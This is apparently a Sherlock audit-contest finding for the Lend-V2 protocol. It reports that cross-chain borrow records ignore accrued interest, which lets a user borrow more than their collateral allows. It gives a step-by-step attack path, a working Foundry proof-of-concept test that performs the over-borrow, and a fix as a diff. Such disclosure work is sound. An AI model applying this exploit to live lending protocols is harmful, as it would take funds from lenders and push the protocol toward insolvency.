Energetic Chocolate Weasel

High

# Malicious user can borrow more than `maxBorrow` as `LendStorage::userCrossChainBorrows` is updated without accounting for the interest of the previous borrow

### Summary

`LendStorage::crossChainBorrows` is updated without accounting for the interest of the previous cross-chain borrow position, allowing malicious user to borrow more tokens than the initial `maxBorrow` allowed based on their initial collateral deposited.

### Vulnerability Details
When a user creates a cross-chain borrow (`CrossChainRouter::borrowCrossChain`), the debt is recorded in `LendStorage::crossChainBorrows` in the source chain and `LendStorage::crossChainCollaterals` in the destination chain. However, `LendStorage::crossChainBorrows` is updated without accounting for the accrued interest of the previous cross-chain borrow position, creating a record mismatch between `LendStorage::crossChainBorrows` and `LendStorage::crossChainCollaterals`. This results in `LendStorage::getMaxBorrowAmount` returning a higher than expected `maxBorrow` on the source chain. A malicious user can exploit this mismatch to borrow more tokens than the initial `maxBorrow` allowed based on their initial collateral deposited.

Simplified call trace for cross-chain borrow:
1. ChainA: `CrossChainRouter::borrowCrossChain`
2. ChainA: `CrossChainRouter::_send`
3. ChainB: `CrossChainRouter::_lzReceive`
4. ChainB: `CrossChainRouter::_handleBorrowCrossChainRequest`
5. ChainB: `LendStorage::updateCrossChainCollateral/addCrossChainCollateral`    
    ^ updates ChainB `LendStorage::crossChainCollaterals` accounting for the accrued interest of the previous cross-chain borrow
6. ChainB: `CrossChainRouter::_send`
7. ChainA: `CrossChainRouter::_lzReceive`
8. ChainA: `CrossChainRouter::_handleValidBorrowRequest`
9. ChainA: `LendStorage::updateCrossChainBorrow/addCrossChainBorrow`    
    ^ updates ChainA `LendStorage::crossChainBorrows` without accounting for the accrued interest of the previous cross-chain borrow

### Root Cause

In [`CrossChainRouter::_handleValidBorrowRequest`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CrossChainRouter.sol#L708-L716), `LendStorage::crossChainBorrows` is updated without accounting for the interest of the previous cross-chain borrow position.

[`CrossChainRouter::_handleValidBorrowRequest`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CrossChainRouter.sol#L708-L716)
```javascript
        if (found) {
            // Update existing borrow
            LendStorage.Borrow[] memory userBorrows = lendStorage.getCrossChainBorrows(payload.sender, payload.srcToken);
@>          userBorrows[index].principle = userBorrows[index].principle + payload.amount;
            userBorrows[index].borrowIndex = payload.borrowIndex;

            // Update in storage
            lendStorage.updateCrossChainBorrow(payload.sender, payload.srcToken, index, userBorrows[index]);
        } else {
```

### Internal Pre-conditions

1. Liquidity providers (LP) needs to call `CoreRouter::supply` to provide token liquidity for users to borrow

### External Pre-conditions

None

### Attack Path

1 . On chainA, malicious user calls `CoreRouter::supply` to supply collateral (`tokenA1`) to chainA. \
2 . On chainA, malicious user calls `CrossChainRouter::borrowCrossChain` to borrow tokens (`tokenB2`) in chainB (1st borrow). \
3 . Some time passes, malicious user's first borrow accrues interest. \
4a. On chainA, malicious user calls `CrossChainRouter::borrowCrossChain` to borrow tokens (`tokenB2`) in chainB (2nd borrow). \
4b. `LendStorage::userCrossChainBorrows` is updated without accounting for the interest of the previous borrow. \
4c. Malicious user's principle in chainA `userCrossChainBorrows.principle` is less than the principle in chainB `userCrossChainCollaterals.principle` (records mismatch). \
4d. This results in `LendStorage::getMaxBorrowAmount` returning a higher than expected `maxBorrow` on chainA. \
4e. Malicious user is now able to borrow more than they should on chainA. \
5a. On chainA, malicious user calls `CoreRouter::borrow` to borrow tokens (`tokenA2`) in chainA (3nd borrow). \
5b. Malicious user has borrowed more tokens in total than the maxBorrow allowed based on their collateral deposited. 

### Impact

1. Malicious user can borrow more than the initial `maxBorrow` allowed based on their initial collateral deposited
2. Protocol health is impacted and protocol insolvency risk increases

### PoC

Place the following into `test/TestBorrowingCrossChain.t.sol` and run
> forge test --mt testIncorrectCrossChainBorrowsUpdateAllowsUsersToBorrowMoreThanTheyShould

```javascript
    address LP = makeAddr("LP");
    address user = makeAddr("user");
    address tokenA1;
    address tokenA2;
    address lTokenA2;
    address tokenB2;
    function testIncorrectCrossChainBorrowsUpdateAllowsUsersToBorrowMoreThanTheyShould() public {
        uint256 amountToSupply = 10e18;
        uint256 amountToBorrow = 2e18;
        LendStorage.Borrow[] memory userCrossChainBorrows;
        LendStorage.Borrow[] memory userCrossChainCollaterals;
        tokenA1 = supportedTokensA[0];
        tokenA2 = supportedTokensA[1];
        lTokenA2 = lendStorageA.underlyingTolToken(tokenA2);
        tokenB2 = lendStorageA.underlyingToDestUnderlying(tokenA2, CHAIN_B_ID);

        // 0. Setup
        // Deal ether for LayerZero fees
        vm.deal(address(routerA), 1 ether);
        vm.deal(address(routerB), 1 ether);
        // LP supply some token liquidity for user to borrow
        uint256 liquidity = amountToBorrow * 10;
        vm.startPrank(LP);
        ERC20Mock(tokenA2).mint(LP, liquidity);
        IERC20(tokenA2).approve(address(coreRouterA), liquidity);
        coreRouterA.supply(liquidity, tokenA2);
        ERC20Mock(tokenB2).mint(LP, liquidity);
        IERC20(tokenB2).approve(address(coreRouterB), liquidity);
        coreRouterB.supply(liquidity, tokenB2);
        vm.stopPrank();

        // 1. User supplies collateral (tokenA1) to chainA
        ERC20Mock(tokenA1).mint(user, amountToSupply);
        vm.startPrank(user);
        IERC20(tokenA1).approve(address(coreRouterA), amountToSupply);
        coreRouterA.supply(amountToSupply, tokenA1);
        vm.stopPrank();
        uint256 initialMaxBorrow = lendStorageA.getMaxBorrowAmount(user, lTokenA2); // 7500000000000000000 (7.5e18)
        uint256 correctMaxBorrow = lendStorageA.getMaxBorrowAmount(user, lTokenA2); // 7500000000000000000 (7.5e18)

        // 2. User borrows tokens (tokenB2) in chainB (1st borrow)
        vm.prank(user);
        routerA.borrowCrossChain(amountToBorrow, tokenA2, CHAIN_B_ID);
        assertEq(IERC20(tokenB2).balanceOf(user), amountToBorrow);
        correctMaxBorrow -= amountToBorrow; // 5500000000000000000 (5.5e18)

        // 3. Some time passes, user's first borrow accrues interest
        uint256 borrowIndexBefore = LToken(lTokenA2).borrowIndex();
        vm.warp(block.timestamp + 1e7);
        vm.roll(block.number + 1e7);
        LToken(lTokenA2).accrueInterest();
        uint256 interestAccrued = (amountToBorrow * LToken(lTokenA2).borrowIndex()) / borrowIndexBefore - amountToBorrow;  
        // 951293759500000000 (~0.95e18)
        correctMaxBorrow -= interestAccrued; // 4548706240500000000 (~4.5e18)

        // 4. User borrows tokens (tokenB2) in chainB (2nd borrow)
        vm.prank(user);
        routerA.borrowCrossChain(amountToBorrow, tokenA2, CHAIN_B_ID);
        assertEq(IERC20(tokenB2).balanceOf(user), amountToBorrow * 2);
        correctMaxBorrow -= amountToBorrow;                                     // 2548706240500000000 (~2.5e18)
        userCrossChainBorrows = lendStorageA.getCrossChainBorrows(user, tokenA2);
        userCrossChainCollaterals = lendStorageB.getCrossChainCollaterals(user, tokenB2);
        // User's principle in chainA is less than user's principle in chainB (records mismatch)
        assertLt(userCrossChainBorrows[0].principle, userCrossChainCollaterals[0].principle);
        uint256 maxBorrowNow = lendStorageA.getMaxBorrowAmount(user, lTokenA2); // 3563443725395290686 (~3.6e18)
        // User is now able to borrow more than they should (on chainA)
        assertGt(maxBorrowNow, correctMaxBorrow);

        // 5. User borrows tokens (tokenA2) in chainA (3rd borrow)
        vm.prank(user);
        coreRouterA.borrow(maxBorrowNow, tokenA2);
        assertEq(IERC20(tokenA2).balanceOf(user), maxBorrowNow);
        uint256 userTotalBorrows = amountToBorrow * 2 + maxBorrowNow;   // 7563443725395290686 (~7.6e18)
        uint256 userTotalBorrowsWithInterest = userTotalBorrows + interestAccrued; // 8514737484895290686 (~8.5e18)
        // User has borrowed more than the initialMaxBorrow allowed based on their initial collateral deposited
        assertGt(userTotalBorrows, initialMaxBorrow);
        assertGt(userTotalBorrowsWithInterest, initialMaxBorrow);
    }
```

### Mitigation

In `CrossChainRouter::_handleValidBorrowRequest`, updates to `LendStorage::userCrossChainBorrows` should account for the accrued interest of the previous cross-chain borrow position.

`CrossChainRouter::_handleValidBorrowRequest`
```diff
        if (found) {
            // Update existing borrow
            LendStorage.Borrow[] memory userBorrows = lendStorage.getCrossChainBorrows(payload.sender, payload.srcToken);
-           userBorrows[index].principle = userBorrows[index].principle + payload.amount;
+           uint256 newPrincipleWithAmount = userBorrows[index].principle * payload.borrowIndex / userBorrows[index].borrowIndex;
+           userBorrows[index].principle = newPrincipleWithAmount + payload.amount;
            userBorrows[index].borrowIndex = payload.borrowIndex;

            // Update in storage
            lendStorage.updateCrossChainBorrow(payload.sender, payload.srcToken, index, userBorrows[index]);
        } else {
```